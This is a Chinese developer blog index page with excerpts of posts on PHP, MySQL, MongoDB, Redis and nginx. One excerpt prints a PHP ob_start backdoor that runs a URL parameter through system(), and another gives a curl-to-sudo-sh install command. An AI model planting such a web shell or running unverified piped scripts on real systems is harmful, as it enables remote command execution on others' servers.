自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+
  • 博客(118)
  • 收藏
  • 关注

转载 PHP7革新与性能优化

有幸参与2015年的PHP技术峰会(PHPCON),听了鸟哥(惠新宸)的关于PHP7的新特性和性能优化的分享,一切都令人感到激动。鸟哥是国内最权威的PHP专家,他的分享有很多非常有价值的东西,我通过整理分享的PPT和收集相关资料,整理为这篇解读性质的技术文章,希望能给做PHP开发的同学一些帮助。 PHP已经走过了20年的历史,直到今天,PHP7都发布了RC版,据说,PHP7正式版应

2015-10-16 18:43:46 963

原创 工作中的态度

在网上看见一篇相关的文章,深有感触和赞同,结合自己的一些观点说一些想法。1. 一定要想清楚自己的职业目标。在面试或者工作面谈的时候我经常会问对方职业规划是什么,其实目的很简单就是想弄清楚对方的职业目标是什么,如果没有目标,那何来态度,如果连一个清晰的目标都没有,那工作中的态度一定会有欠缺。树立一个目标,然后不停的调整自己,使自己在正确的方向上朝着目标前进。2. 弄清楚自己的核心竞争

2015-06-26 13:35:20 854

转载 一幅图秒懂LoadAverage(负载)

转自:http://www.habadog.com/2015/02/27/what-is-load-average/一幅图秒懂LoadAverage(负载)一、什么是Load Average?系统负载(System Load)是系统CPU繁忙程度的度量,即有多少进程在等待被CPU调度(进程等待队列的长度)。平均负载(Load Average)是一段时

2015-06-25 15:55:57 21826 6

转载 docker使用总结

安装注意不要直接用apt-get安装docker, apt-get安装的版本有些低。 安装用curl -sSL https://get.docker.com/ubuntu/ | sudo sh 可以安装最新版docker对linux内核版本有要求,内核版本不能太低, 如果太低会导致docker的一些功能不能使用, 比如docker exec 命令在低版本的linux内核下不

2015-06-23 15:58:56 13989

转载 ngx_lua_waf做nginx层的安全防护

作者github地址:https://github.com/loveshell/ngx_lua_waf————————————————————转自作者说明文档:ngx_lua_waf是我一个基于ngx_lua的web应用防火墙。代码很简单,开发初衷主要是使用简单,高性能和轻量级。现在开源出来.其中包含我们的过滤规则。如果大家有什么建议和想fa,欢迎和我一起完

2015-06-05 10:41:39 6673

转载 在线数据迁移

在线数据迁移,是指将正在提供线上服务的数据,从一个地方迁移到另一个地方,整个迁移过程中要求不停机,服务不受影响。根据数据所处层次,可以分为 cache 迁移和存储迁移;根据数据迁移前后的变化,又可以分为平移和转移。平移是指迁移前后数据组织形式不变,比如 Mysql 从1个实例扩展为 4 个实例,redis 从 4 个端口扩展到 16 个端口,HBase 从 20 台机器扩展到 30

2015-05-16 17:36:24 2805

转载 vim 添加PHP函数自动补全

首先下载PHP函数列表文件,将该文件保存在目录 /etc/vim/下:也可以自己去选择版本下载:http://svn.php.net/viewvc/phpdoc/doc-base/trunk/funclist.txt我这里选的是当前最新的。cd /etc/vim/wget http://chenpeng.info/apps/vim/funclist.txt下载后改名

2015-05-15 11:31:48 6923 1

转载 Memcached二三事儿

Memcached绝对称得上是NoSQL老兵!可惜随着时间的推移,Redis等后起之秀羽翼渐丰,Memcached相比之下已呈颓势。那我们还用不用学习它?答案是肯定的!毕竟仍然有很多项目依赖着它,如果忽视它,一旦出了问题就只有干瞪眼的份儿了。网络上关于Memcached的资料可以说是浩如烟海,其中不乏一些精彩之作,比如说由爱好者翻译的「Memcached全面剖析」系列文章,在中文社区广为流

2015-05-06 09:56:07 620

转载 goaccess-nginx日志分析工具

提到web服务器就不得不说nginx。这款由俄罗斯人开发的小巧的web服务软件近几年来风靡大江南北;成为许多草根站长建设网站的首选。但由于历史原因,nginx日志分析工具相较于传统的apache、lighthttp等要匮乏的多。笔者今天在这里为各位介绍一个牛X的实时日志分析工具GoAccess。不仅安装简单,功能强大,并且支持nginx日志格式。实在是草根站长们手中又一犀利武器,不可不备^

2014-11-14 14:11:43 1124

原创 mongo分片

分片就是水平的扩展,将数据分拆到不同的机器上,以达到存储更多的数据,处理更大的负载。可以选定将按照指定的文档键值进行分片。配置角色分片一般有三个组成部分:分片服务(Shard Server),mongod实例,2个以上,负责存储实际的数据分片,生产环境中一个Shard Server可由几台服务器组成一个Replica Set代替,避免主机单点故障;路由服务(Rout

2013-01-25 09:22:44 5697

原创 mongo 复制

mongo的复制有主从和复制集两种策略,熟悉数据库的都了解主从,复制集与主从类似,但它更强大,一旦主节点挂掉会从从节点当中会挑选一个成为新的主节点。主从复制配置主服务器: ./mongod --dbpath /data/db/master --logpath /data/db/master.log --logappend --fork --port 2717 --mast

2013-01-23 13:52:25 3272

原创 mongo聚合

countcount可以返回集合的文档数量,也可以返回查询结果的数据:db.foo.count();db.foo.count({'key':'value'});distinctdistinct会以数组的形式返回指定键的不同值:db.people.distinct('name');group利用group可以将集合中的记录按一个或多个键分组,然后可以聚合每个分组

2013-01-22 14:38:52 3399

原创 mongo基本操作

概述一个mongod服务可以有建立多个数据库,每个数据库可以有多张表,这里的表名叫collection,每个collection可以存放多个文档document,每个文档都以BSON(binary json)的形式存放于硬盘中,因此可以存储比较复杂的数据类型。它是以单文档为单位存储的,你可以任意给一个或一批文档新增或删除字段,而不会对其它文档造成影响,这就是所谓的schema-free,这也是

2013-01-20 16:48:17 26112

原创 redis持久化,主从及数据备份

现在在项目里已经大量使用redis了,为了提高redis的性能和可靠性我们需要知道和做到以下几件事:常用内存优化手段与参数redis的性能如何是完全依赖于内存的,所以我们需要知道如何来控制和节省内存。首先最重要的一点是不要开启Redis的VM选项,即虚拟内存功能,这个本来是作为Redis存储超出物理内存数据的一种数据在内存与磁盘换入换出的一个持久化策略,但是其内存管理成本非

2013-01-07 20:29:23 11960

原创 使用MySQL UDF更新memcache缓存

MySql UDF介绍UDF是User Defined Function的缩写,指 Mysql 的用户定义函数,应用可以通过使用这些函数从 Mysql5.0 以上版本的数据库中访问 Memcached 服务以写入或者获得数据。此外,从 Mysql5.1 开始支持触发器,这样就可以在触发器中使用 UDF 直接更新 Memcached 的内容,减轻了应用程序设计和编写的复杂性。下面我们简要介绍 U

2013-01-06 16:25:45 3874 2

原创 mysql 事务隔离级别

SQL标准定义了4类隔离级别,包括了一些具体规则,用来限定事务内外的哪些改变是可见的,哪些是不可见的。低级别的隔离级一般支持更高的并发处理,并拥有更低的系统开销。本文将以具体的例子来讲解这4类隔离级别。Read Uncommitted(读取未提交内容)在该隔离级别,所有事务都可以看到其他未提交事务的执行结果。本隔离级别很少用于实际应用,因为它的性能也不比其他级别好多少。读取未提交的

2012-12-26 11:47:58 6120

原创 B+/-Tree原理及mysql的索引分析

B+/-Tree原理B-Tree介绍B-Tree是一种多路搜索树(并不是二叉的):       1.定义任意非叶子结点最多只有M个儿子;且M>2;       2.根结点的儿子数为[2, M];       3.除根结点以外的非叶子结点的儿子数为[M/2, M];       4.每个结点存放至少M/2-1(取上整)和至多M-1个关键字;(至少2个关键字)

2012-12-23 17:09:10 38810 4

原创 vim插件之pathogen,NERDTree,Command-T,Powerline

pathogen功能说明一个插件包往往具备多种功能,每个文件根据Vim的路径约定会放置到不同的目录下,通用插件放到plugin下,语法高亮插件放到syntax下,自动加载插件放到autoload下,文件类型插件放到ftplugin下,编码格式插件的放到indent下......如果你是重度插件用户,你会发现在.vim主目录下会有一堆文件夹,无论是你想要安装新插件,还是想删除旧插件,都非常麻

2012-12-21 17:29:09 7104 1

原创 2012年度总结

赶在21号前完成今年的总结,如果21号后我还能敲代码,那我相信这个世界会更加的美好。先来说说我今年坚持做到的几件事:早睡早起,这是多年养成的习惯;团队中每天第一个到公司,我大概会早到两个小时,一是安静的时间是很高效的,当同事开始投入工作时我已经完成了部分工作,我反感拖沓,所以我会争取工作提前完成;二是开始负责项目了,总有更多的事需要去做,我力争提前安排好工作让一切都井井有条,即使发生突

2012-12-19 13:15:49 774

原创 怎样优化autoload

1. 概述php的autoload机制就不再累述了,autoload机制确实能给开发带来便利,但是实现不好的话会很影响性能,比如:function __autoload($class_name) { include_once $class_name . '.php'; } 这是最简单的autoload实现函数,只要求类名和文件名保持一致,这实现起来很简单,

2012-12-14 11:33:00 750

转载 深入了解php底层机制

作为一门动态语言,php是如何实现的,其底层机制如何,具有什么样的特点,本文深入浅出介绍了包括php设计理念、整体结构、核心数据结构和变量在内的相关底层知识,对我们更好的开发php程序,优化性能等有一定的指导意义。1. 概述what is php?一种适用于web开发的动态语言。具体点说:就是一个用c语言实现包含大量组件的软件框架。更狭义点看,可以把它认为是一个强大的ui框架。

2012-12-07 14:31:57 1046

原创 mysql触发器的作用及语法

触发器是一种特殊的存储过程,它在插入,删除或修改特定表中的数据时触发执行,它比数据库本身标准的功能有更精细和更复杂的数据控制能力。触发器的作用:1. 安全性。可以基于数据库的值使用户具有操作数据库的某种权利;可以基于时间限制用户的操作,例如不允许下班后和节假日修改数据库数据;可以基于数据库中的数据限制用户的操作,例如不允许股票的价格的升幅一次超过10%。2. 审计。

2012-12-04 15:53:27 7528

原创 http 状态码

--表示网页服务器http响应状态的3位有效数字1xx(临时响应)表示临时响应并需要请求者继续执行操作的状态代码。代码 说明 100 (继续) 请求者应当继续提出请求。 服务器返回此代码表示已收到请求的第一部分,正在等待其余部分。 101 (切换协议) 请求者已要求服务器切换协议,服务器已确认并准备切换。 2xx (成功)表示成功处理了请求的状态代码。代码 说

2012-11-16 10:31:27 651

原创 nginx 做均衡负载

nginx主要有5种方式做均衡负载,下面分别介绍一下这5种方式:1、轮询每个请求按时间顺序逐一分配到不同的后端服务器,如果后端服务器down掉,能自动剔除。2、weight 指定轮询权重,weight和访问比率成正比,用于后端服务器性能不均的情况,权重值越高,被分配到的请求数越多,默认值为1,例如:upstream backend {server 1

2012-11-09 15:01:59 733

原创 64位机器安装mongo-php-driver问题及解决办法

64位linux安装mongo-php-driver后重启php时会出现以下错误:PHP Warning:  PHP Startup: Unable to load dynamic library '/usr/local/php-5.3/extensions/mongo.so' - /usr/local/php-5.3/extensions/mongo.so: undefined symbol

2012-10-18 11:57:59 5396

原创 mongodb启动参数

mongod的主要参数有:基本配置--quiet # 安静输出 --port arg # 指定服务端口号,默认端口27017 --bind_ip arg # 绑定服务IP,若绑定127.0.0.1,则只能本机访问,不指定默认本地所有IP --logpath arg # 指定MongoDB日志文件,注意是指定文件不是目录 --logappend # 使用追加的方式写日志 --pidfil

2012-10-16 15:28:47 1119

原创 php SPL autoload

autoload机制概述   在使用PHP的OO模式开发系统时,通常大家习惯上将每个类的实现都存放在一个单独的文件里,这样会很容易实现对类进行复用,同时将来维护时也很便利。这也是OO设计的基本思想之一。在PHP5之前,如果需要使用一个类,只需要直接使用include/require将其包含进来即可。下面是一个实际的例子:  /* Person.class.php */ <?php

2012-10-09 13:22:05 770

原创 php EventManager Module

介绍参考zf2的EventManager,结合实际项目中的需要写了一个简易的EventManager,主要功能有:订阅者模式;拦截器;事件驱动具体概念就不介绍了,先来看看模块中的几个类或接口。EventManager 类EventManager是核心模块,主要负责为监听事件,添加拦截器,触发事件,下面看一个例子:$em = new EventManager();$

2012-09-28 07:37:05 1003

原创 PHP SPL 介绍

最近在看zend framework2,发现zf2使用了spl,所以记录一下笔记,介绍一下SPL中常用的接口和类。简介SPLSPL是Standard PHP Library(PHP标准库)的缩写。根据官方定义,它是“a collection of interfaces and classes that are meant to solve standard problems”。

2012-09-25 18:47:38 3178

转载 PHP 杂谈《重构-改善既有代码的设计》之四 简化条件表达式

思维导图点击下图,查看大图。介绍条件逻辑有可能十分复杂,因此本章提供一些重构的手法,专门用来简化它们。全文简述(你可直接跳过下面的内容)  核心重构:Decompose Conditional——分离”转辙逻辑“(switching logic)和”操作细节“(details)分离。  多处测试有相同结果:Consolidate Cond

2012-09-18 11:11:04 1150

转载 PHP 杂谈《重构-改善既有代码的设计》之三 重新组织数据

思维导图介绍承接上文的PHP 杂谈《重构-改善既有代码的设计》之 重新组织你的函数继续重构方面的内容。这章主要针对数据的重构。1、争论的声音——直接访问Field还是通过函数(Accessor)访问Field2.修改Array为Object:当你看到一个Array很像一个数据结构,你可以使用Replace Array with O

2012-09-18 11:00:25 627

转载 PHP 杂谈《重构-改善既有代码的设计》之二 对象之间搬移特性

思维导图索引:#Move_Method(搬移函数)#Move_Field (搬移值域)#Extract_Class (提炼类)#Inline_Class (将类内联化,就是把当前的类合并到其他类中)#Hide_Delegate (隐藏委托关系)#Remove_Middle_Man ( 移除中间人)#Introduce_Foreign_Method (

2012-09-17 22:29:01 867

转载 PHP 杂谈《重构-改善既有代码的设计》之一 重新组织你的函数

思维导图点击下图,可以看大图。专业术语我们毕竟是用英文字母编码,所以用一些英语单词,更能显示出我们的专业性。以下的英文单词,你如果掌握了,与其他coder交流的时候会更直接,更专业。“*”表示文中经常提到的inline:内联function:函数*method:方法finely grained:细粒度的rena

2012-09-17 13:50:16 1230

原创 mysql配置中的一些重要参数

虽然运维同事会对mysql做最优配置,但我们也需要知掌握mysql配置中对性能影响比较大的一些配置项。max_connectionsMySql的最大连接数,如果服务器的并发连接请求量比较大,建议调高此值,以增加并行连接数量,当然这建立在机器能支撑的情况下,因为如果连接数越多,MySql会为每个连接提供连接缓冲区,就会开销越多的内存,连接数太大,服务器消耗的内存越多,以至于影响服务器性能

2012-09-16 22:28:22 8903 1

原创 hash和btree索引的区别

这两天有个很强烈的感觉就是自己在一些特别的情况下还是hold不住,脑子容易放空或者说一下子不知道怎么去分析问题了,比如,问“hash和btree索引的区别”,这很难吗,只要掌握了这两种数据结构稍加分析就能得出答案,结果是一下子不知道从何说起。进入正题吧,这两者有啥区别。1. hash索引查找数据基本上能一次定位数据,当然有大量碰撞的话性能也会下降。而btree索引就得在节点上挨着查找了,很明显

2012-09-13 22:23:14 15844 1

原创 tcp 三次握手和四次挥手

tcp断开时的四次挥手都给忘了,重新温习一遍吧。TCP三次握手所谓的三次握手就是要建立一个tcp连接需要在客户端和服务器端之间进行三次通信,大概的连接过程如下:1.客户端首先发起连接,也就是第一次握手,处于SYN_SENT状态;2.服务器端收到SYS 数包,立即发送ACK 应答,并发送自己的SYN(第二次握手),状态被置为SYN_RECEIVED;3.客户端接收到服务器

2012-09-13 15:14:57 1251

原创 php ob_start 后门

原文地址:http://cutt.com/article/1521598558原文中给出了ob_start的后门例子,代码如下:<?php$cmd = 'system';ob_start($cmd);echo "$_GET[a]";ob_end_flush();?>然后浏览器中的效果就是:ob_start()的参数如果是常见的命令执行类函数(system,exec,popen

2012-09-13 11:16:16 1893 1

原创 Nginx Push Stream Module 介绍

用途nginx的Push Stream Module使用http技术来实现连接管道,在项目里主要用于即时消息的推送,比如聊天功能。Push Stream Module主要采用pub/sub模式来管理长连接,用户可以申请连接通道,通道建立订阅该通道,消息推送者可以向连接通道发送消息,这样订阅该通道的所有用户都可以接收到该消息。安装方法1:# clone the pro

2012-09-08 19:43:00 14310

原创 nginx 负载均衡和反向代理

负载均衡将用户的请求均匀的或者按照一定的优先级分配到一组服务器中的一台上,而接收到请求的服务器独立的处理请求并返回。负载均衡技术主要用于扩展后端服务的性能。反向代理代理服务器将接收到的用户请求转发给内部服务器,再将内部服务器返回的结果返回给用户,此时代理服务器就充当一个服务器的角色。实例在配置文件里写上如下的代码:upstream backend { server

2012-09-08 15:02:06 12390 1

原创 redis 介绍

介绍Redis 是一个开源的使用ANSI C 语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value 数据库,并提供多种语言的API。数据类型作为Key-value 型数据库,Redis 提供了键(Key)和键值(Value)的映射关系。但是,除了常规的数值或字符串,Redis 的键值还可以是以下形式之一:Lists (列表)Sets (集合)Sorted set

2012-09-04 21:55:57 1166

空空如也

空空如也

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人 TA的粉丝

提示
确定要删除当前文章?
取消 删除